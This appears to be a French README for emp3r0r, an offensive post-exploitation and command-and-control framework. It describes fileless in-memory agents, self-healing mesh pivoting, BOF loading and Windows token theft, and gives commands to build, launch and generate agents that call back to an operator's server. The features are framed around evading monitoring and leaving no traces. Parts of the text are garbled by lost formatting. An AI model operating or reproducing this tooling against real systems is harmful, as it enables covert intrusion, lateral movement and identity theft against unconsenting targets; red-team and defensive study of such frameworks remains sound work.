
Maillage de type gossip C2 auto‑réparant avec découverte assistée de pairs, exécution BOF multiplateforme et agents scriptables.
C2 à maillage Gossip auto-réparateur avec découverte de pairs assistée, exécution BOF multiplateforme et agents scriptables.
emp3r0r est un framework de post-exploitation avancé et un système de commande & contrôle (C2) zero-trust conçu pour les environnements cibles Linux et Windows. Conçu de zéro pour opérer dans des environnements à haute sécurité, emp3r0r combine réseautage maillé Gossip autonome, exécution fileless en mémoire uniquement, chargement BOF multiplateforme, transfert de fichiers inter-agents et agents scriptables en mémoire pour offrir une furtivité, un contrôle opérationnel et une sécurité opérationnelle (OPSEC) supérieurs.
Les agents emp3r0r disposent d'un moteur de script Starlark embarqué (un dialecte de Python implémenté purement en Go). Les scripts s'exécutent de manière fileless en mémoire sans nécessiter Python, Bash ou PowerShell sur la cible.
/bin/sh, powershell.exe) ni dépendre de runtimes installés.read_file, write_file, list_dir, mkdir, remove, exists), les requêtes HTTP (http_get, http_post), l'exécution de commandes (exec_cmd) et le hachage (crypto_hash).win_call, , , ) directement depuis le code du script, sans compiler de code C natif.Pourquoi c'est important : Les modules de script C2 traditionnels nécessitent des interpréteurs hôtes ou le lancement de processus, laissant de lourdes traces disque ou d'exécution en ligne de commande. Les agents scriptables d'emp3r0r exécutent une logique complexe entièrement en mémoire avec une interaction système native.
emp3r0r applique le principe Trust-On-First-Use (TOFU) avec un pinning strict de l'UUID et de la clé publique lors de l'enrôlement de l'agent.
forget_agent.Pourquoi c'est important : Empêche le détournement de session, le clonage d'agents et la dérive d'identité silencieuse dans les environnements opérationnels.
Toutes les communications C2 et entre pairs appliquent un échange de clés ECDH avec des clés de session dérivées de HKDF.
Pourquoi c'est important : Empêche le déchiffrement rétrospectif des captures réseau interceptées.
Les agents situés dans des segments réseau restreints en sortie ou isolés découvrent automatiquement leurs pairs et tunnelisent le trafic via un réseau maillé basé sur le gossip (Memberlist).
Pourquoi c'est important : Le pivotement à travers des réseaux segmentés s'effectue de manière autonome, sans nécessiter une intervention constante de l'opérateur ni des configurations de proxy statiques.
Partage de fichiers direct agent-à-agent via le transport de relais P2P (mTLS/KCP) pour accélérer la livraison des fichiers sur les réseaux internes.
Pourquoi c'est important : Le partage de fichiers direct agent-à-agent maximise les vitesses de transfert, contourne les points de congestion réseau et réduit la visibilité du trafic C2 direct.
Stagers de téléchargement Stage 0 flexibles et listeners de protocoles pour l'accès initial et la livraison des payloads.
.bin), en exécutables ELF autonomes ou en objets partagés (.so).Exécute des modules binaires en mémoire sur les cibles Windows et Linux :
int, short, cstr, wstr, binary)..o) directement dans la mémoire de l'agent sous Linux.Pourquoi c'est important : Élimine le surcoût de création de processus et contourne la surveillance de la ligne de commande en exécutant des modules C compilés dans le processus.
Les agents sous Windows peuvent voler, mettre en cache et usurper des jetons d'accès de processus en cours d'exécution — entièrement dans le processus grâce à des appels système NT indirects.
steal_token --pid <PID> duplique un jeton de processus via NtOpenProcess + NtDuplicateToken et le stocke en mémoire par SID. Vous pouvez également enchaîner l'usurpation avec --token <sid> pour passer d'une identité volée à une autre.list_tokens affiche tous les jetons mis en cache avec les noms DOMAIN\User (SID).--token <sid>) dans n'importe quel module — Go, Starlark, COFF/BOF. L'usurpation au niveau du thread (NtSetInformationThread) est appliquée autour des opérations sensibles.read_file, write_file, exec_cmd, proxy d'API Win32, etc.) usurpent automatiquement l'identité à chaque appel système lorsqu'un jeton est défini, et peut lancer des processus enfants sous l'identité volée via .Pourquoi c'est important : Aucun outil externe, aucune trace disque, aucun bruit de création de processus. Le vol et la réutilisation des jetons se font entièrement dans le processus grâce aux appels système indirects, les jetons volés étant immédiatement utilisables par chaque module intégré.
http_poll) avec des profils HTTP malléables et streaming (h2conn) sur HTTP/2.La compilation d'emp3r0r nécessite Docker ou Podman sur l'hôte. Aucune chaîne d'outils Go locale n'est requise.
# Clone repository
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
# Build inside a container and install locally
./install.sh
L'installateur compile les binaires principaux dans un conteneur jetable, génère le fichier emp3r0r-operator-kit.tar.zst précompilé, configure les capacités Linux requises (setcap) et met en place les répertoires d'exécution système.
Options :
./install.sh [--debug] [--disable-garble] [--prefix /usr/local] [--skip-build]
Lancez le serveur C2 :
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
Remarque : Si l'installation a été réalisée avec l'utilisateur root au lieu du sudo standard, votre utilisateur actuel pourrait ne pas être en mesure de lancer emp3r0r, car les permissions ne peuvent pas être correctement définies par l'installateur. Cela s'applique également à vos machines opérateur.
Transférez le fichier emp3r0r-operator-kit.tar.zst généré vers votre machine opérateur, puis exécutez l'installateur :
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.sh
Connectez le client opérateur au serveur C2 en utilisant les identifiants du tunnel WireGuard affichés par le serveur :
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' \
--server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' \
--operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
Utilisez la commande generate dans l'interface opérateur d'emp3r0r pour créer des payloads.
Agent C2 direct :
generate --type linux_executable --arch amd64 --cc your.domain.com
Agent passerelle du maillage :
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
Pair intermédiaire du maillage :
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
Si emp3r0r s'est avéré précieux dans vos recherches et tests de sécurité, envisagez de soutenir son développement continu via GitHub Sponsors.
win_allocwin_freewin_read_memconfig.json) pour une analyse et une distribution transparentes des paramètres CLI.exec_cmdCreateProcessWithTokenW